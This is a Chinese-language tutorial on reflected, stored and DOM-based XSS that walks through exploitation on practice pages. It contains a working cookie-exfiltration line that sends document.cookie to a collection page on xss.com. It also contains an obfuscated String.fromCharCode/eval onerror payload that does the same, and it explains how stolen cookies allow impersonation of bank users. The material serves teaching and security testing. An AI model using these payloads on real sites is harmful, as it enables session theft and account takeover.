XSS跨站脚本攻击原理与实战

XSS分类

1.反射型XSS，相对来说，危害较低，需要用户点击特定的链接才能触发。

2.存储型XSS，该类XSS会把攻击代码保存到数据库，所以也叫持久型XSS，因为它存在的时间是比较长的。

3.DOM 型XSS，这类XSS主要通过修改页面的DOM节点形成XSS，称为DOM Based XSS。

反射型XSS实战

本着见框就插的原则，我们在输入框中，写入如下简单的语句：来爆出当前的cookie值。
但是当我们遇到输入语句后爆出空白框的情况时，这种情况时浏览器设置中并没有打开cookie值，这时候需要我们去修改网页源码
在访问该页面的时候，就会设置一个cookie，名称为username，值为xssuser，还会产生一个session。session同样用来识别用户身份，只是session是服务端维护，不是保存在客户端，我们不需要知道session的值具体含义。保存后再次访问该页面，重复上面的步骤，就会弹出新设置的cookie。我们都知道HTTP是无状态协议，它依靠cookie来识别用户身份，如果我们通过JS来获取了用户的cookie后，我们就可以冒充他人的身份，比如：如果某银行网站存在XSS，你通过XSS获取了别人的cookie后，你可以把cookie替换成别人的cookie来冒充其他人，然后你就可以自由转账了。

如何保存cookie值

按照我们上面的操作，只能在页面上弹出cookie值，我们在后端无法保存cookie值，因为仅仅是单纯的弹出出的话，只有访问页面的人可以看见，而我们是看不见的。
因此我们可以通过Javascript，构造一个请求，来请求一个我们有权限的页面，在构造请求的时候，把用户的cookie当作参数传过去，然后我们就可以在这个页面里，接收传过来的参数，然后再保存起来。所以首先需要写一个接收cookie的页面，它能够接收某个参数，然后保存起来。页面写好保存在某个目录下，这个文件就是用来接收cookie并保存的，源码如下：

首先在你放源码的目录下，构建一个cookies.txt文本，然后附加一个a，然后它会把msg参数的值进行url解码后再保存到cookies.txt这个文件里面。这里为什么要进行URL编码呢？因为为了防止cookie中有特殊字字符，如#等导致cookie不全，比如：如果cookie为username=test#!@3，构造的请求地址为http://xss.com/recv_cookies.php?msg=username=test#!@3，但是#会被当作锚点来解释，导致后面的#!@3全部被忽略，浏览器最终请求的url为http://xss.com/recv_cookies.php?msg=username=test，所以导致页面接收到的cookie不完整。
这时候我们在输入框中写下语句：利用Image对象就可以很轻易地完成该任务，新建一个Image对象，然后设置src属性，浏览器在碰到src属性的时候，会自动请求该src指向的url。这个url就写我们刚才写的接收cookie的页面的url，并且传msg参数过去，值为cookie。然后我们在去目录下打开cookie.txt文本文档，就可以得到cookie值。

存储型XSS实战

存储型XSS一般存在于留言板，评论中，因为这些东西都需要存储到服务器中，而存储型XSS的危害也最大
我们可以按照上面的实战步骤，本着见框就插的原则，在评论框中输入语句：,发现同样弹出了警告框，原理同上，但是由于数据都存储到了服务器中，所以我们看见url是没有变化的。
F12后，我们可以看见红色框内就是我们输入的语句
我们模仿其他用户访问该页面，打开Chrome，访问该页面，因为HTTP是无状态协议，它依靠cookie来识别用户身份，但是不同浏览器之间cookie不共享，所以2个浏览器可以模拟2个用户的身份，因为2个浏览器访问同一个页面的话，产生的cookie不同，如果想要查看2个浏览器的cookie是否相同，可以在想要查看cookie的页面打开开发者工具，然后在控制台输入document.cookie就可以看到当前网站的cookie。
发现刚访问就直接弹窗，而我们根本就没有往页面写任何东西！这就是存储型XSS。我们可以像反射型XSS一样，构造一个浏览器会自动加载的请求，比如img的src属性，然后在src属性的值里带上cookie，这样，当浏览器请求这个url的时候，就会在对方的web服务器上留下日志，而cookie保存在web日志中，当然也可以像实验步骤一一样用一个页面接收cookie更好。

附上留言网页的源码：

DOM型XSS

除了反射型XSS、存储型XSS，还有一种XSS类型，那就是基于DOM 的XSS，它通过修改页面的DOM节点形成的XSS，所以称为DOM based XSS。它和反射型XSS、存储型XSS的差别在于，DOM XSS的XSS代码并不需要服务器解析响应的直接参与，触发XSS靠的就是浏览器端的DOM解析。
附上源码：
在这里，测试按钮被点击后调用了xssDom函数，在这个函数中，修改了页面的DOM节点，通过innerHTML把一段用户数据当作HTML写入到页面中，这就造成了DOM Based XSS。然后我们依旧本着见框就插的原则，进行操作。

如果你直接查看页面源码，你会发现id为show的div中没有数据。 这种情况下就需要审查元素了。在测试页面鼠标右击，选择查看元素。
发现我们输入的标签在双引号中间，可以看出很明显的语法错误。这时候我们就需要想办法构造些符号来解决这语法错误。
我们要让他没有语法错误，就需要构造语句闭合一些标签，所以，我们首先需要一个单引号来闭合 a标签的href属性。然后一个“>”来闭合a标签的“<”。这样构造以后，就变成了“在这里构造利用代码’>xssDom”。所以我们可以构造如下语句：
‘>，原因前面已经解释过，我们可以借助js的eval函数来执行，在测试的时候，由于不能包含空格，所以我们要构造一个没有空格的payload，可以用编码等方式来绕过，比如利用String.fromCharCode函数，该函数会把数字转成该ASCII码表中该数字对应的字符，比如String.fromCharCode(97,108,101,114,116,40,47,120,115,115,47,41)的返回值就是alert(/xss/),此时再用eval执行alert(/xss/)就会把alert(/xss/)当JS代码执行。如果要获取cookie，我们可以把new Image().src=“http://xss.com/recv_cookies.php?msg=”+encodeURI(document.cookie) 这个代码转换成他们对应的ascii码，然后通过String.fromCharCode还原成字符串，在firefox的插件hackbar可以把字符串转成String.fromCharCode格式的，步骤如下：



然后全选复制，由于不能有空格，所以应该把转换后的字符串中的所有空格删除掉，得到String.fromCharCode(110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,46,99,111,109,47,114,101,99,118,95,99,111,111,107,105,101,115,46,112,104,112,63,109,115,103,61,34,43,101,110,99,111,100,101,85,82,73,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41)

然后利用eval执行该代码，所以，最终的构造语句是：
'><imgsrc="123"οnerrοr=eval(String.fromCharCode(110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,46,99,111,109,47,114,101,99,118,95,99,111,111,107,105,101,115,46,112,104,112,63,109,115,103,61,34,43,101,110,99,111,100,101,85,82,73,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41)) />
最后进入存放cookie.txt的目录既可以看见
查看内容可能是空的，是因为当前页面没有启用cookie。如果cookies.txt中得到了cookie也正常，因为前面的页面设置了cookie，如果你没有把浏览器历史记录、cookie清除，应该会有cookie。要测试是没有成功获取到cookie还是没设置cookie导致的该文件内容为空，可以在浏览器控制台执行document.cookie，看是否有输出。
如上图，表示已经设置了cookie。
通过本步骤可知，DOM Based XSS 无需与服务器交互即可完成XSS。我们输入的数据通过浏览器DOM解析后直接显示在页面，与反射型XSS、存储型XSS需要与服务器交互明显不同。